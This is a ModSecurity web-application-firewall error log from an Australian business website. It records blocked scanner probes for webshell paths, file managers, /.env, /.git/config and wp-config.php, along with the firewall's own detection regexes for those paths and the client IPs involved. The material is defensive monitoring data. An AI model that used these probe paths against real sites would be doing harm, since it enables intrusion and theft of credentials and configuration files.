[Mon Nov 24 21:06:19.577168 2025] [:error] [pid 9630:tid 9632] [client 4.233.64.129:29470] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zews.php"] [unique_id "aSRYSyrSgUgPGkizt2otngAAAEA"]
[Mon Nov 24 21:06:23.303474 2025] [:error] [pid 48599:tid 48612] [client 4.233.64.129:28732] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zews.php"] [unique_id "aSRYT5zvu6PDJiRKE3JKVQAAAYk"]
[Mon Nov 24 21:06:25.109864 2025] [:error] [pid 48599:tid 48626] [client 4.233.64.129:51562] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zews.php"] [unique_id "aSRYUZzvu6PDJiRKE3JKVgAAAZc"]
[Mon Nov 24 21:06:26.328811 2025] [:error] [pid 48601:tid 48669] [client 4.233.64.129:28911] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zews.php"] [unique_id "aSRYUoMM4MaVTk74-AbfAQAAAgw"]
[Mon Nov 24 21:06:27.487724 2025] [:error] [pid 48688:tid 48705] [client 4.233.64.129:51547] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSRYUxm2q1FkzLam7A3IbwAAAk0"]
[Mon Nov 24 21:06:31.655728 2025] [:error] [pid 48600:tid 48633] [client 4.233.64.129:28692] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSRYV_tOzSUAQvWVjBecWgAAAcM"]
[Mon Nov 24 21:06:38.750035 2025] [:error] [pid 48599:tid 48619] [client 4.233.64.129:28735] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSRYXpzvu6PDJiRKE3JKXAAAAZA"]
[Mon Nov 24 21:06:46.170068 2025] [:error] [pid 48601:tid 48660] [client 4.233.64.129:28729] [client 4.233.64.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/assets/js/wp-config.php"] [unique_id "aSRYZoMM4MaVTk74-AbfCwAAAgM"]
[Mon Nov 24 21:45:37.684485 2025] [:error] [pid 16549:tid 16562] [client 193.32.126.212:53565] [client 193.32.126.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSRhgaeWW19A99PUw_dn9wAAAUo"]
[Mon Nov 24 21:45:38.179875 2025] [:error] [pid 16516:tid 16521] [client 193.32.126.212:54293] [client 193.32.126.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSRhgvqZbniwaNwL8XkMbQAAAQI"]
[Mon Nov 24 21:45:38.676214 2025] [:error] [pid 16593:tid 16601] [client 193.32.126.212:54834] [client 193.32.126.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aSRhghVGznHBJI2LKpRr-AAAAoY"]
[Mon Nov 24 23:33:42.614285 2025] [:error] [pid 16441:tid 16453] [client 123.187.240.242:35148] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aSR61oq_bc5MOa9Hflm7cwAAAIk"]
[Tue Nov 25 01:03:17.751124 2025] [:error] [pid 9630:tid 9636] [client 185.220.101.183:2673] [client 185.220.101.183] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "88.147.14.252_8da3797a3953ca019bc0a99a8a66fa236d15004d"): Internal error (specific information not available) [hostname "measureyourbrand.com.au"] [uri "/index.php/AutomatedBusinessLanding"] [unique_id "aSSP0yrSgUgPGkizt2pqIgAAAEQ"], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Tue Nov 25 01:17:54.197748 2025] [autoindex:error] [pid 48688:tid 48708] [client 54.88.25.47:55375] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Nov 25 01:18:28.664621 2025] [:error] [pid 16549:tid 16553] [client 43.152.72.244:37786] [client 43.152.72.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aSSTZKeWW19A99PUw_eGSAAAAUE"]
[Tue Nov 25 01:35:51.457210 2025] [:error] [pid 49900:tid 49903] [client 4.233.64.129:63763] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aSSXdzCyPLrvg06aorl7CAAAAAE"]
[Tue Nov 25 05:07:03.715527 2025] [:error] [pid 14688:tid 14712] [client 185.100.85.24:6772] [client 185.100.85.24] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "85.208.96.211_13a697b6c30ffc8426616729e8c141171ad52ccd"): Internal error (specific information not available) [hostname "measureyourbrand.com.au"] [uri "/index.php/AutomatedBusinessLanding"] [unique_id "aSTI9G9vYrBoEsiDnizdVAAAARY"], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Tue Nov 25 05:55:31.989802 2025] [:error] [pid 14688:tid 14711] [client 106.227.49.113:50042] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSTUU29vYrBoEsiDnizrSwAAARU"]
[Tue Nov 25 07:16:32.942784 2025] [:error] [pid 1103:tid 1123] [client 43.130.34.74:36880] [client 43.130.34.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aSTnUI0LETdqOlq63sQhhQAAAU4"]
[Tue Nov 25 08:37:59.525590 2025] [:error] [pid 14688:tid 14712] [client 43.131.243.61:43894] [client 43.131.243.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aST6Z29vYrBoEsiDniwWWAAAARY"]
[Tue Nov 25 10:05:28.941976 2025] [:error] [pid 14168:tid 14193] [client 189.37.72.79:17259] [client 189.37.72.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.37.72.79, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aSUO6PR-ZDU0QEgAIIvASAAAANY"]
[Tue Nov 25 17:12:05.618095 2025] [:error] [pid 2987:tid 2994] [client 54.173.250.15:37508] [client 54.173.250.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSVy5c-djEt-pTzPxnx3xAAAAUU"]
[Tue Nov 25 18:47:47.426873 2025] [:error] [pid 14076:tid 14100] [client 180.102.134.69:54056] [client 180.102.134.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSWJU3sB4Gz6Qw-pvBsIeAAAABM"]
[Tue Nov 25 18:52:46.475915 2025] [:error] [pid 14076:tid 14089] [client 138.199.60.187:35180] [client 138.199.60.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSWKfnsB4Gz6Qw-pvBsJrAAAAAg"]
[Tue Nov 25 18:52:47.120561 2025] [:error] [pid 14078:tid 14159] [client 138.199.60.187:35596] [client 138.199.60.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aSWKf9VXYbb0ii_rVoI3JgAAAJY"]
[Tue Nov 25 18:52:48.434406 2025] [:error] [pid 28836:tid 29011] [client 138.199.60.187:35662] [client 138.199.60.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aSWKgJwNRsoxcLQGkTe2vQAAAtU"]
[Tue Nov 25 18:52:48.804143 2025] [:error] [pid 28739:tid 28772] [client 138.199.60.187:60288] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/moon.php"] [unique_id "aSWKgBxGpKmlkG4FexRv5gAAAgo"]
[Tue Nov 25 18:52:49.277984 2025] [:error] [pid 28740:tid 28797] [client 138.199.60.187:60374] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/moon.php"] [unique_id "aSWKgVppQCoYxWW6V0VxuQAAAkY"]
[Tue Nov 25 18:52:49.520938 2025] [:error] [pid 14077:tid 14131] [client 138.199.60.187:5115] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/moon.php"] [unique_id "aSWKgRG9n7UHEkwDTyh9VwAAAFU"]
[Tue Nov 25 18:52:49.783206 2025] [:error] [pid 14076:tid 14086] [client 138.199.60.187:60458] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/moon.php"] [unique_id "aSWKgXsB4Gz6Qw-pvBsJtQAAAAU"]
[Tue Nov 25 18:52:50.044461 2025] [:error] [pid 28836:tid 28963] [client 138.199.60.187:60482] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pki-validation/moon.php"] [unique_id "aSWKgpwNRsoxcLQGkTe2xwAAAsg"]
[Tue Nov 25 18:52:51.442293 2025] [:error] [pid 2987:tid 2997] [client 138.199.60.187:60554] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/"] [unique_id "aSWKg8-djEt-pTzPxnyTbAAAAUg"]
[Tue Nov 25 18:52:51.693876 2025] [:error] [pid 14168:tid 14187] [client 138.199.60.187:60690] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/"] [unique_id "aSWKg_R-ZDU0QEgAIItbmQAAANA"]
[Tue Nov 25 18:52:52.021705 2025] [:error] [pid 28842:tid 29025] [client 138.199.60.187:60722] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/"] [unique_id "aSWKhNNmoaPf6T4-6C2DFwAAA1c"]
[Tue Nov 25 18:52:52.283637 2025] [:error] [pid 14077:tid 14121] [client 138.199.60.187:60788] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/"] [unique_id "aSWKhBG9n7UHEkwDTyh9cAAAAEs"]
[Tue Nov 25 18:52:52.563703 2025] [:error] [pid 28836:tid 29010] [client 138.199.60.187:60838] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/"] [unique_id "aSWKhJwNRsoxcLQGkTe2zwAAAtQ"]
[Tue Nov 25 19:21:56.513239 2025] [:error] [pid 28740:tid 28806] [client 141.98.11.171:56235] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aSWRVFppQCoYxWW6V0V9HgAAAk8"]
[Tue Nov 25 19:21:57.611726 2025] [:error] [pid 14078:tid 14150] [client 141.98.11.171:56374] [client 141.98.11.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aSWRVdVXYbb0ii_rVoJAzwAAAI0"]
[Tue Nov 25 22:36:03.854028 2025] [:error] [pid 43843:tid 43850] [client 43.157.20.63:37896] [client 43.157.20.63] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSW-0xhx4v3NUNdMKDMESQAAAcU"]
[Tue Nov 25 23:29:15.228919 2025] [autoindex:error] [pid 14076:tid 14099] [client 139.59.30.253:52825] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Nov 26 00:49:56.374394 2025] [:error] [pid 2987:tid 3012] [client 4.241.179.168:9203] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cyanamids.php"] [unique_id "aSXeNM-djEt-pTzPxnz9rAAAAVc"]
[Wed Nov 26 00:49:56.810254 2025] [:error] [pid 2987:tid 2999] [client 4.241.179.168:9185] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cyanamids.php"] [unique_id "aSXeNM-djEt-pTzPxnz9sAAAAUo"]
[Wed Nov 26 00:49:57.200418 2025] [:error] [pid 14077:tid 14131] [client 4.241.179.168:9172] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cyanamids.php"] [unique_id "aSXeNRG9n7UHEkwDTygCuwAAAFU"]
[Wed Nov 26 00:49:57.527310 2025] [:error] [pid 14168:tid 14174] [client 4.241.179.168:9192] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cyanamids.php"] [unique_id "aSXeNfR-ZDU0QEgAIIu7QgAAAMM"]
[Wed Nov 26 00:49:57.784714 2025] [:error] [pid 28836:tid 29013] [client 4.241.179.168:9112] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/disengaging.php"] [unique_id "aSXeNZwNRsoxcLQGkTcbUgAAAtc"]
[Wed Nov 26 00:49:58.058979 2025] [:error] [pid 28609:tid 28624] [client 4.241.179.168:9101] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/disengaging.php"] [unique_id "aSXeNiGGdT-nZJVs3x0n3QAAAYY"]
[Wed Nov 26 00:49:58.368335 2025] [:error] [pid 14076:tid 14093] [client 4.241.179.168:9182] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/disengaging.php"] [unique_id "aSXeNnsB4Gz6Qw-pvBt-FAAAAAw"]
[Wed Nov 26 00:49:58.721699 2025] [:error] [pid 14168:tid 14180] [client 4.241.179.168:9091] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/disengaging.php"] [unique_id "aSXeNvR-ZDU0QEgAIIu7RQAAAMk"]
[Wed Nov 26 00:49:59.098148 2025] [:error] [pid 43843:tid 43856] [client 4.241.179.168:9196] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/disquiet.php"] [unique_id "aSXeNxhx4v3NUNdMKDMgVgAAAcs"]
[Wed Nov 26 00:49:59.523631 2025] [:error] [pid 28739:tid 28774] [client 4.241.179.168:9184] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/disquiet.php"] [unique_id "aSXeNxxGpKmlkG4FexTzFQAAAgw"]
[Wed Nov 26 00:49:59.820806 2025] [:error] [pid 28739:tid 28767] [client 4.241.179.168:9106] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/disquiet.php"] [unique_id "aSXeNxxGpKmlkG4FexTzFgAAAgU"]
[Wed Nov 26 00:50:00.164531 2025] [:error] [pid 28739:tid 28775] [client 4.241.179.168:9099] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/disquiet.php"] [unique_id "aSXeOBxGpKmlkG4FexTzFwAAAg0"]
